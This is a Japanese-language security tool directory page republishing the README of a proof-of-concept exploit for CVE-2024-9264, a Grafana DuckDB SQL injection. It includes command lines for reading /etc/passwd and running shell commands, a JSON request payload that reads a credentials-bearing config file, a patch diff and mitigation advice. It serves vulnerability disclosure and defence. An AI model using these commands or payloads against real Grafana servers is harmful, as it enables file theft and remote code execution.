Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-9264 — Grafana の任意ファイル読み取りおよび RCE (CVE-2024-9264) のエクスプロイト | Kitploit
ツール/GitHubGitHub/nollium/cve-2024-9264
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubnollium/cve-2024-9264

CVE-2024-9264

Grafana の任意ファイル読み取りおよび RCE (CVE-2024-9264) のエクスプロイト

リポジトリを見る
132161年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-9264

Grafana Post-Auth DuckDB SQLインジェクション(RCE、ファイル読み取り)

概念実証(PoC)

このPoCは、CVE-2024-9264の悪用を、認証済みユーザーがDuckDB SQLクエリを実行し、ファイルシステム上の任意のファイルを読み取ったり、リモートで任意のコードを実行したりする方法で示しています。

任意のコードが実行できるのはGrafana v11.0.0のみです。

ファイルはすべての脆弱性が存在するバージョンで読み取ることができます。

セットアップ: 必要な依存関係を以下でインストールします:

root@kitploit:~
pip install -r requirements.txt

使用方法

ファイル読み取り(全バージョン共通):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

コマンド実行(v11.0.0のみ)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

また、getenvを呼び出して環境変数を取得するなど、任意のDuckDBクエリを実行することもできます:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

悪用可能なDuckDBユーティリティ関数の一覧はこちらをご覧ください。

脆弱性の概要

CVE-2024-9264は、Grafanaの実験的なSQL Expressions機能におけるDuckDB SQLインジェクションの脆弱性です。認証済みのユーザーは、Grafanaダッシュボードの式を改変することで、任意のDuckDB SQLクエリを実行できます。

影響を受けるバージョン:

  • Grafana OSSおよびEnterpriseのバージョン11.0.0~11.0.5、11.1.0~11.1.6、11.2.0~11.2.1。

修正済みバージョン:

  • 11.0.5+security-01以降

パッチの調査

Grafanaはこの脆弱性を修正するために特別なバージョンをリリースしました。パッチを分析するには、以下のコマンドで変更を比較できます:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

これにより、SQL Expressions機能が脆弱性のあるバージョンから単に削除されたことがわかります。

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

パッチはSQL Expressionsを完全に削除し、悪用の可能性を防いでいます。

脆弱性の悪用

  1. Grafanaの起動: バージョン11.0.5でGrafanaを実行します:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. 式の改変: "Math"のような式を使用したダッシュボードを作成し、Burpでリクエストをインターセプトし、datasourceのタイプをmathからsqlに変更します。

    HTTPリクエストは/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101に送信されます。

    以下は、./conf/ldap.tomlのような任意のファイルを読み取るDuckDB SQLクエリを実行するために必要な最小限のJSONです:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

実際の悪用にはダッシュボードは必要ありません。クエリを実行するHTTPリクエストを見つけるための簡単な方法にすぎません。

悪用可能性の可能性

この脆弱性は重大ですが、悪用可能性はDuckDBバイナリがGrafanaサーバーにインストールされているかどうかに依存することに注意することが重要です。デフォルトでは、GrafanaはDuckDBを同梱しておらず、Grafanaインターフェースから直接インストールするオプションもありません。

この脆弱性が悪用可能であるためには、管理者が手動でDuckDBをインストールし、Grafanaサーバーの$PATHに追加している必要があります。 DuckDBが存在しない場合、SQLインジェクションの脆弱性を活用することはできず、デフォルトのインストールでは悪用の可能性が大幅に低下します。

緩和策

Grafanaを修正済みバージョンにアップデートし、パッチ適用が遅れる場合は、$PATHにDuckDBバイナリが存在しないことを確認してください。

クレジット

このPoCは、cfrealによって開発されたtenフレームワークを使用しています。

ツールをダウンロード